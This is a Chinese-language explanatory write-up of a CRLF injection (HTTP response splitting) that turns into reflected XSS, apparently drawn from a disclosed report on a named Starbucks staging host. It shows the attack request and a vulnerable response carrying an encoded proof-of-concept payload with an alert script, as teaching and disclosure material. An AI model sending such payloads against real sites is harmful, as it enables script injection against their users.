正常场景:预期的服务器行为
当用户发起一个合法请求时,例如:
GET /?q=hello HTTP/1.1
Host: stagecafrstore.starbucks.com
服务器处理后通常会返回一个标准的响应,例如一个301重定向:
HTTP/1.1 301 Moved Permanently
Location: /login
Content-Type: text/html
...
<html>...正常页面...</html>
在此情况下,浏览器接收到的响应头与响应体边界清晰,仅包含服务器预设的内容,因此不会执行任何恶意脚本。
攻击场景分析:CRLF注入如何生效
当攻击者将编码后的换行回车符 %0D%0A(即 \r\n,CRLF)注入到查询参数中,而服务器未对该输入进行净化,直接将其拼接进响应头(如 Location 头)时,漏洞便会产生。
攻击请求示例:
GET /?q=abc\r\nLocation: //x:1\r\nContent-Type:text/html\r\n\r\n HTTP/1.1
Host: stagecafrstore.starbucks.com
漏洞响应示例:
HTTP/1.1 301 Content-moved
Date: Tue, 20 Dec 2016 08:40:11 GMT
Server: WebServer
X-Original-link: /%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
X-XSS-Protection: 0
Location: //x:1
Content-Type: text/html
Content-Length: 98
Content-Length: 0
X-OneLinkServiceType: onelink.fcgi
关键问题在于,服务器直接将未经验证的用户输入(包含CRLF)放入了响应头。这导致原始的 HTTP协议 响应结构被攻击者注入的CRLF字符“拆解”:攻击者注入的 \r\n\r\n 被服务器解释为新的“响应头结束”标识,其后的内容便被视作新的响应体。浏览器在解析此响应时,会看到并执行响应体中的 <script> 标签,从而形成反射型XSS(跨站脚本)攻击。
核心原理对比
- 正常情况:响应头与响应体之间的边界由服务器应用框架严格控制,不会因用户输入而改变。
- 被攻击情况:用户输入中的CRLF字符篡改了响应结构,导致响应头被“截断”或“新增”,从而注入了由攻击者完全控制的响应头或响应体。这可能引发的后果包括:
- 恶意脚本执行(反射型XSS)。
- 任意页面内容注入。
- 重定向劫持。
- 甚至可能引发Web缓存投毒等更严重的网络安全问题。
|